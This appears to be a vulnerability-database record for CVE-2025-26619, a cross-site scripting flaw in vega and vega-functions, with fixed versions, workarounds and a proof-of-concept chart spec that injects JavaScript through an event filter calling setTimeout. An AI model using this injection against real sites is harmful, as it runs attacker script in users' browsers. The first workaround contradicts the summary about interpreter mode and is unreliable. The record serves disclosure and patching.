{"id":"CVE-2025-26619","aliases":["GHSA-rcw3-wmx7-cphr"],"url":"https://o3.security/vulnerability/CVE-2025-26619","summary":"Vega Cross-Site Scripting (XSS) via event filter when not using CSP mode `expressionInterpeter`","details":"### Impact\n\nIn `vega` 5.30.0 and lower,  `vega-functions` 5.15.0 and lower , it was possible to call JavaScript functions from the Vega expression language that were not meant to be supported.\n\n### Patches\n\nPatched in `vega` `5.31.0`  / `vega-functions` `5.16.0`\n\n### Workarounds\n\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\n- Run `vega` without `vega.expressionInterpreter`. This mode is not the default as it is slower. \n- Using the interpreter [described in CSP safe mode](https://vega.github.io/vega/usage/interpreter/) (Content Security Policy) prevents arbitrary Javascript from running, so users of this mode are not affected by this vulnerability.\n\n### References\n\n- Reported to Vega-Lite by @kprevas Nov 8 2024 in https://github.com/vega/vega-lite/issues/9469 &  https://github.com/vega/vega/issues/3984\n\nReproduction of the error in Vega by @mattijn \n\n```\n{\n  \"$schema\": \"https://vega.github.io/schema/vega/v5.json\",\n  \"signals\": [\n    {\n      \"name\": \"inject_alert\",\n      \"on\": [\n        {\n          \"events\": [\n            {\n              \"type\": \"mousedown\",\n              \"marktype\": \"rect\",\n              \"filter\": [\"scale(event.view.setTimeout, 'alert(\\\"alert\\\")')\"]\n            }\n          ],\n          \"update\": \"datum\"\n        }\n      ]\n    }\n  ],\n  \"marks\": [\n    {\n      \"type\": \"rect\",\n      \"encode\": {\n        \"update\": {\n          \"x\": {\"value\": 0},\n          \"y\": {\"value\": 0},\n          \"width\": {\"value\": 100},\n          \"height\": {\"value\": 100}\n        }\n      }\n    }\n  ]\n}\n```","published":"2025-03-27T13:51:38.442Z","modified":"2026-08-12T03:51:42.059690050Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"vega","fixedVersion":"5.31.0"},{"ecosystem":"npm","name":"vega-functions","fixedVersion":"5.16.0"}],"fix":{"url":"https://github.com/vega/vega/commit/8fc129a6f8a11e96449c4ac0f63de0e5bfc7254c","label":"vega/vega@8fc129a"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/26xxx/CVE-2025-26619.json"},{"type":"ADVISORY","url":"https://github.com/vega/vega/security/advisories/GHSA-rcw3-wmx7-cphr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-26619"},{"type":"REPORT","url":"https://github.com/vega/vega-lite/issues/9469"},{"type":"REPORT","url":"https://github.com/vega/vega/issues/3984"},{"type":"FIX","url":"https://github.com/vega/vega/commit/8fc129a6f8a11e96449c4ac0f63de0e5bfc7254c"},{"type":"PACKAGE","url":"https://github.com/vega/vega"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:42.059690050Z"}}